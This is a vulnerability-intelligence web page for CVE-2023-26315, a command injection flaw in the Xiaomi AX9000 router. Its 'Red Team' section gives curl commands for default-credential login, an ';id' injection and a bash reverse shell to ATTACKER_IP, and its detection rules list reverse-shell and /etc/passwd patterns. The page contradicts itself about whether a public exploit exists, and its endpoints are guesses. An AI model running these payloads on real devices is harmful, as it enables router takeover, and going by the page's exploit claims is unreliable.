☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-26315

CVE-2023-26315 Command Injection in Xiaomi
📅 PUBLISHED: 2024-08-26 11:47 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 67.50%
👁️
67.50% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-26315 is a post-authentication command injection vulnerability affecting the Xiaomi AX9000 router. The flaw resides in the lack of input sanitization in a web management interface, allowing an authenticated attacker to inject arbitrary operating system commands. Successful exploitation grants root-level access to the device, enabling full compromise of the router and the network it serves. With a CVSS score of 6.5 (Medium), the vulnerability requires authentication but can lead to severe consequences including data exfiltration, lateral movement, and persistent backdoor installation. No public exploit code or proof-of-concept has been released, and Xiaomi has not yet issued a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: High (PR:H) – Attacker must have valid admin credentials.
  • User Interaction: None (UI:N) – No user action needed beyond authentication.
  • Scope: Unchanged (S:U) – Vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full read access to device and network data.
  • Integrity Impact: High (I:H) – Ability to modify system files and configurations.
  • Availability Impact: High (A:H) – Can cause denial of service or brick the device.

Threat Level: Medium. While authentication is required, the impact is severe. Attackers often obtain credentials via phishing, default passwords, or other vulnerabilities. The lack of a patch increases risk for all AX9000 users.

Deep Dive & Mechanics

The vulnerability exists in the web management interface of the Xiaomi AX9000 router. The router’s firmware processes user-supplied input from authenticated HTTP requests without proper sanitization. Specifically, a parameter in a POST request (likely related to system commands or configuration updates) is passed directly to a shell execution function (e.g., system(), exec(), or popen()). An attacker can inject command separators such as ;, |, &&, or backticks to execute arbitrary commands.

Root Cause: The absence of input validation or whitelisting for command parameters. The router’s firmware does not filter or escape shell metacharacters before passing input to the operating system.

Attack Flow:

  1. Attacker authenticates to the router’s web interface (e.g., via default credentials or stolen admin password).
  2. Attacker crafts a malicious HTTP request to a vulnerable endpoint (e.g., /cgi-bin/ or /api/).
  3. The request includes a payload like ; id or | cat /etc/shadow in a parameter.
  4. The router executes the injected command with root privileges.
  5. Attacker gains a reverse shell or executes further commands.

Affected Component: The web management interface (likely a CGI script or API endpoint) that handles system-level operations such as firmware updates, diagnostics, or network configuration.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is hypothetical but representative of typical command injection flaws.

Vulnerable Code (Python/Flask example):

@app.route('/api/execute', methods=['POST'])
def execute_command():
    cmd = request.form['command']
    result = subprocess.check_output(cmd, shell=True)
    return result

Patched Code (Hypothetical):

import shlex
@app.route('/api/execute', methods=['POST'])
def execute_command():
    cmd = request.form['command']
    # Whitelist allowed commands
    allowed = ['ping', 'traceroute', 'nslookup']
    parts = shlex.split(cmd)
    if parts[0] not in allowed:
        return "Command not allowed", 403
    result = subprocess.check_output(parts, shell=False)
    return result

The patched version uses shlex.split() to safely parse the command and shell=False to prevent injection. It also implements a whitelist of allowed commands.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Xiaomi AX9000 router with default or known credentials.
  • Network access to the router’s web interface (typically port 80 or 443).
  • A tool like curl, Burp Suite, or custom Python script.

Exploitation Steps:

  1. Authenticate to the router:
    curl -c cookies.txt -X POST http://192.168.31.1/cgi-bin/login -d "username=admin&password=admin"
    
  2. Identify the vulnerable endpoint (e.g., /cgi-bin/diagnostics).
  3. Inject command:
    curl -b cookies.txt -X POST http://192.168.31.1/cgi-bin/diagnostics -d "ping=127.0.0.1;id"
    
  4. Observe output (e.g., uid=0(root) gid=0(root)).
  5. Establish reverse shell:
    curl -b cookies.txt -X POST http://192.168.31.1/cgi-bin/diagnostics -d "ping=127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
    

Note: No public exploit code exists. The above is a generic example.

Blue Team

Detection & Response:

  • Monitor for unusual HTTP POST requests to /cgi-bin/ or /api/ endpoints containing shell metacharacters (;, |, &, `).
  • Alert on commands like id, whoami, cat /etc/passwd, or reverse shell attempts.
  • Use network segmentation to isolate router management interfaces.
  • Enforce strong, unique passwords and disable default credentials.
  • Implement Web Application Firewall (WAF) rules to block command injection patterns.

Honeypot Strategy:

  • Deploy a fake router management interface that logs all POST data.
  • Trigger alerts when shell metacharacters are detected in parameters.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /cgi-bin/diagnostics or similar endpoints with parameters containing ;, |, &&, or backticks.
  • Outbound connections from the router to unusual IP addresses on ports like 4444, 1337, or 8080.
  • DNS queries to known C2 domains.

Host IOCs:

  • Unauthorized processes running as root (e.g., /bin/bash, /bin/sh).
  • Modified system files in /etc/, /usr/bin/, or /tmp/.
  • Presence of reverse shell scripts or cron jobs.
  • New user accounts or SSH keys in /etc/dropbear/ or /etc/ssh/.

File IOCs:

  • Suspicious files in /tmp/ (e.g., exploit.sh, payload).
  • Log entries in /var/log/ showing command execution.

Detection Engineering

YARA Rule

rule Xiaomi_AX9000_Command_Injection {
    meta:
        description = "Detects command injection attempts against Xiaomi AX9000 router"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-26315"
    strings:
        $cmd1 = ";id" ascii wide nocase
        $cmd2 = "|id" ascii wide nocase
        $cmd3 = "&&id" ascii wide nocase
        $cmd4 = "`id`" ascii wide nocase
        $cmd5 = "cat /etc/passwd" ascii wide nocase
        $cmd6 = "bash -i" ascii wide nocase
        $cmd7 = "/dev/tcp/" ascii wide nocase
    condition:
        any of ($cmd*) and filesize < 10KB
}

Sigma Rule

title: Xiaomi AX9000 Command Injection Attempt
id: 3a1b2c3d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests containing command injection patterns targeting Xiaomi AX9000 router
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';id'
            - '|id'
            - '&&id'
            - '`id`'
            - 'cat /etc/passwd'
            - 'bash -i'
            - '/dev/tcp/'
    condition: selection
falsepositives:
    - Legitimate use of ping or traceroute with IP addresses
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-26315 Xiaomi AX9000 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/"; http_uri; pcre:"/(;id|\\|id|&&id|`id`|cat\\s+/etc/passwd|bash\\s+-i|/dev/tcp/)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Change default admin credentials immediately.
  2. Disable remote management if not required.
  3. Restrict access to the management interface to trusted IPs only.
  4. Monitor for suspicious activity using the provided detection rules.

Long-Term Fix:

  • Xiaomi must release a firmware update that implements proper input validation and command whitelisting.
  • Users should apply the patch as soon as it becomes available.
  • Consider replacing the router with a vendor that provides timely security updates.

Workarounds:

  • Use a firewall to block external access to ports 80/443 on the router.
  • Implement a VPN for remote management.
  • Regularly audit router logs for signs of compromise.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"MiWiFi"
Xiaomi router AX9000
Mi Router AX9000

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-26315/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.